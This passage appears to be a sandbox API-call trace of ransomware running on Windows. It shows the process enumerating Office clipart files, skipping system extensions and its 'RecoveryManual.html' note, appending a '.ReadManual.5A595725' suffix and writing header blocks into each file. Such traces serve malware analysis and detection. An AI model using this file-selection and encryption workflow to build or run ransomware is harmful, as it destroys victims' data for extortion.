Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" [0267.114] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.ReadManual.5A595725" [0267.114] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.ReadManual.5A595725") returned 87 [0267.114] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38778313647) returned 1 [0267.114] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf")) returned 0x20 [0267.115] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.115] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6276) returned 1 [0267.115] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1884, lpName=0x0) returned 0x184 [0267.115] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.116] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.116] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.118] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.118] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1884) returned 0x2f0000 [0267.118] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.118] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38778840323) returned 1 [0267.120] CloseHandle (hObject=0x184) returned 1 [0267.120] SetSecurityInfo () returned 0x57 [0267.120] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.120] CloseHandle (hObject=0x194) returned 1 [0267.120] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152606.WMF", cAlternateFileName="")) returned 1 [0267.120] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152606.WMF" | out: lpString1="J0152606.WMF") returned="J0152606.WMF" [0267.120] lstrcmpiW (lpString1="J0152606.WMF", lpString2="RecoveryManual.html") returned -1 [0267.120] StrStrIW (lpFirst="J0152606.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.120] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.120] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.120] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.120] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.120] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.120] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.120] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.120] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.120] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.120] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.120] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.120] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.121] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.121] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.121] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" [0267.121] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.ReadManual.5A595725" [0267.121] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.ReadManual.5A595725") returned 87 [0267.121] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38778949961) returned 1 [0267.121] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf")) returned 0x20 [0267.122] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.122] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16632) returned 1 [0267.122] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40f8, lpName=0x0) returned 0x184 [0267.122] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.123] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.123] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.125] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.125] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40f8) returned 0x2f0000 [0267.125] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.126] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38779439847) returned 1 [0267.126] CloseHandle (hObject=0x184) returned 1 [0267.126] SetSecurityInfo () returned 0x57 [0267.126] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.126] CloseHandle (hObject=0x194) returned 1 [0267.126] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3094, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152608.WMF", cAlternateFileName="")) returned 1 [0267.126] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152608.WMF" | out: lpString1="J0152608.WMF") returned="J0152608.WMF" [0267.126] lstrcmpiW (lpString1="J0152608.WMF", lpString2="RecoveryManual.html") returned -1 [0267.126] StrStrIW (lpFirst="J0152608.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.126] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.126] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.126] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.126] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.126] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.126] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.126] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.126] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.126] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.126] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.126] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.127] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.127] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.127] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.127] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" [0267.127] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.ReadManual.5A595725" [0267.127] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.ReadManual.5A595725") returned 87 [0267.127] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38779548526) returned 1 [0267.127] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf")) returned 0x20 [0267.127] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.127] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12436) returned 1 [0267.127] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3094, lpName=0x0) returned 0x184 [0267.127] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.128] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.128] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.130] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.130] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3094) returned 0x2f0000 [0267.130] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.130] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38779927899) returned 1 [0267.131] CloseHandle (hObject=0x184) returned 1 [0267.131] SetSecurityInfo () returned 0x57 [0267.131] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.131] CloseHandle (hObject=0x194) returned 1 [0267.131] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1748, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152610.WMF", cAlternateFileName="")) returned 1 [0267.131] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152610.WMF" | out: lpString1="J0152610.WMF") returned="J0152610.WMF" [0267.131] lstrcmpiW (lpString1="J0152610.WMF", lpString2="RecoveryManual.html") returned -1 [0267.131] StrStrIW (lpFirst="J0152610.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.131] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.131] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.131] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" [0267.131] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.ReadManual.5A595725" [0267.132] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.ReadManual.5A595725") returned 87 [0267.132] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38780032287) returned 1 [0267.132] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf")) returned 0x20 [0267.132] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.132] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5960) returned 1 [0267.132] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1748, lpName=0x0) returned 0x184 [0267.132] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.133] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.133] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.135] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.135] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1748) returned 0x2f0000 [0267.135] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.135] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38780378095) returned 1 [0267.135] CloseHandle (hObject=0x184) returned 1 [0267.135] SetSecurityInfo () returned 0x57 [0267.135] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.135] CloseHandle (hObject=0x194) returned 1 [0267.135] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2584, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152622.WMF", cAlternateFileName="")) returned 1 [0267.135] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152622.WMF" | out: lpString1="J0152622.WMF") returned="J0152622.WMF" [0267.135] lstrcmpiW (lpString1="J0152622.WMF", lpString2="RecoveryManual.html") returned -1 [0267.135] StrStrIW (lpFirst="J0152622.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.136] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.136] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.136] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" [0267.136] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.ReadManual.5A595725" [0267.136] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.ReadManual.5A595725") returned 87 [0267.136] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38780481993) returned 1 [0267.136] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf")) returned 0x20 [0267.137] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.137] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9604) returned 1 [0267.137] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2584, lpName=0x0) returned 0x184 [0267.138] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.138] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.138] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.140] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.140] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2584) returned 0x2f0000 [0267.141] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.141] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38780946412) returned 1 [0267.141] CloseHandle (hObject=0x184) returned 1 [0267.141] SetSecurityInfo () returned 0x57 [0267.141] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.141] CloseHandle (hObject=0x194) returned 1 [0267.141] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6688, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152626.WMF", cAlternateFileName="")) returned 1 [0267.141] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152626.WMF" | out: lpString1="J0152626.WMF") returned="J0152626.WMF" [0267.141] lstrcmpiW (lpString1="J0152626.WMF", lpString2="RecoveryManual.html") returned -1 [0267.141] StrStrIW (lpFirst="J0152626.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.141] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.141] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.141] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.141] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.141] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.141] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.141] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.141] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.141] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.141] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.141] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.142] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.142] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.142] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.142] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" [0267.142] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.ReadManual.5A595725" [0267.142] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.ReadManual.5A595725") returned 87 [0267.142] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38781049164) returned 1 [0267.142] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf")) returned 0x20 [0267.142] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.142] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26248) returned 1 [0267.142] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6688, lpName=0x0) returned 0x184 [0267.142] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.144] SetFilePointerEx (in: 